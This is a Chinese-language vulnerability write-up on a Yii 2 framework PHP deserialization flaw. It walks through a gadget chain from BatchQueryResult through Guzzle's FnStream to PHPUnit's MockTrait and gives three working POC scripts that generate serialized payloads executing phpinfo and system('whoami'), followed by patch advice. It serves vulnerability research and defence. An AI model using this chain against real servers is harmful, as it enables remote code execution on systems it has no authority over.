Yii反序列化漏洞复现到新利用链发现
字数 978 2025-08-10 08:29:01

Yii反序列化漏洞分析与新利用链发现

漏洞概述

Yii框架存在一个反序列化漏洞,影响版本至2.0.38(该版本修复)。漏洞允许攻击者通过精心构造的序列化数据执行任意代码,危害严重。

环境准备

  • Yii版本:2.0.35(受影响版本)
  • 环境配置:
    • PHPStudy集成环境
    • Apache 2.4.39
    • PHP 7.4.3
    • 调试工具:Xdebug + PHPStorm

漏洞复现基础

创建测试控制器

class TestController extends Controller {
    public function actionIndex($message="Hello") {
        var_dump(unserialize($message));
        // return $this->render("index", ['message'=>$message]);
    }
}

访问路径:http://127.0.0.1/yii2.0.35/web/index.php?r=test/index

漏洞分析技巧

搜索关键方法

  1. 查找__destruct()方法:

    grep -r "__destruct" vendor/
    
  2. 查找可控方法:

    • 正则匹配可控方法:->\$([a-zA-Z0-9_-]+)\(
    • 正则匹配可控参数:[^if ][^foreach ][^while ]\(\$([a-zA-Z0-9_-]+)->

漏洞利用链分析

初始利用点

vendor/yiisoft/yii2/db/BatchQueryResult.php中的__destruct()方法:

public function __destruct() {
    // make sure cursor is closed
    $this->reset();
}

reset()方法分析

public function reset() {
    if ($this->_dataReader !== null) {
        $this->_dataReader->close();  // 关键调用点
    }
    $this->_dataReader = null;
    $this->_batch = null;
    $this->_value = null;
    $this->_key = null;
}

危险close()方法

vendor/guzzlehttp/psr7/src/FnStream.php中找到危险方法:

public function close() {
    return call_user_func($this->_fn_close);  // 可执行任意函数
}

POC构造

基础POC

<?php

namespace GuzzleHttp\Psr7 {
    class FnStream {
        var $_fn_close = "phpinfo";
    }
}

namespace yii\db {
    use GuzzleHttp\Psr7\FnStream;
    class BatchQueryResult {
        private $_dataReader;

        public function __construct() {
            $this->_dataReader = new FnStream();
        }
    }

    $b = new BatchQueryResult();
    var_dump(serialize($b));
}

危害升级POC

利用PHPUnit\Framework\MockObject\MockTrait类的generate()方法:

<?php

namespace PHPUnit\Framework\MockObject {
    class MockTrait {
        private $classCode = "system('whoami');";
        private $mockName = "anything";
    }
}

namespace GuzzleHttp\Psr7 {
    use PHPUnit\Framework\MockObject\MockTrait;
    class FnStream {
        var $_fn_close;

        function __construct() {
            $this->_fn_close = [new MockTrait(), 'generate'];
        }
    }
}

namespace yii\db {
    use GuzzleHttp\Psr7\FnStream;
    class BatchQueryResult {
        private $_dataReader;

        function __construct() {
            $this->_dataReader = new FnStream();
        }
    }

    $b = new BatchQueryResult();
    file_put_contents("poc.txt", serialize($b));
}

最终POC(带phpinfo)

<?php

namespace PHPUnit\Framework\MockObject {
    class MockTrait {
        private $classCode = "system('whoami');phpinfo();";
        private $mockName = "anything";
    }
}

namespace GuzzleHttp\Psr7 {
    use PHPUnit\Framework\MockObject\MockTrait;
    class FnStream {
        var $_fn_close;

        function __construct() {
            $this->_fn_close = [new MockTrait(), 'generate'];
        }
    }
}

namespace yii\db {
    use GuzzleHttp\Psr7\FnStream;
    class BatchQueryResult {
        private $_dataReader;

        function __construct() {
            $this->_dataReader = new FnStream();
        }
    }

    $b = new BatchQueryResult();
    file_put_contents("poc.txt", serialize($b));
}

利用链总结

  1. BatchQueryResult::__destruct() -> reset()
  2. reset() -> $this->_dataReader->close()
  3. FnStream::close() -> call_user_func($this->_fn_close)
  4. 通过MockTrait::generate()执行任意代码

修复建议

  1. 升级到Yii 2.0.38或更高版本
  2. 在反序列化时使用allowed_classes参数限制可反序列化的类:
    unserialize($data, ['allowed_classes' => ['allowed_class1', 'allowed_class2']]);
    

注意事项

  1. 虽然会抛出异常,但代码仍会执行(可能与PHP的输出缓冲有关)
  2. 实际利用需要考虑目标环境的具体配置和组件
  3. 不同版本的Yii可能有不同的利用链

参考链接

Yii反序列化漏洞分析与新利用链发现 漏洞概述 Yii框架存在一个反序列化漏洞,影响版本至2.0.38(该版本修复)。漏洞允许攻击者通过精心构造的序列化数据执行任意代码,危害严重。 环境准备 Yii版本:2.0.35(受影响版本) 环境配置: PHPStudy集成环境 Apache 2.4.39 PHP 7.4.3 调试工具:Xdebug + PHPStorm 漏洞复现基础 创建测试控制器 访问路径: http://127.0.0.1/yii2.0.35/web/index.php?r=test/index 漏洞分析技巧 搜索关键方法 查找 __destruct() 方法: 查找可控方法: 正则匹配可控方法: ->\$([a-zA-Z0-9_-]+)\( 正则匹配可控参数: [^if ][^foreach ][^while ]\(\$([a-zA-Z0-9_-]+)-> 漏洞利用链分析 初始利用点 vendor/yiisoft/yii2/db/BatchQueryResult.php 中的 __destruct() 方法: reset()方法分析 危险close()方法 在 vendor/guzzlehttp/psr7/src/FnStream.php 中找到危险方法: POC构造 基础POC 危害升级POC 利用 PHPUnit\Framework\MockObject\MockTrait 类的 generate() 方法: 最终POC(带phpinfo) 利用链总结 BatchQueryResult::__destruct() -> reset() reset() -> $this->_dataReader->close() FnStream::close() -> call_user_func($this->_fn_close) 通过 MockTrait::generate() 执行任意代码 修复建议 升级到Yii 2.0.38或更高版本 在反序列化时使用 allowed_classes 参数限制可反序列化的类: 注意事项 虽然会抛出异常,但代码仍会执行(可能与PHP的输出缓冲有关) 实际利用需要考虑目标环境的具体配置和组件 不同版本的Yii可能有不同的利用链 参考链接 Yii官方安全公告 原始分析文章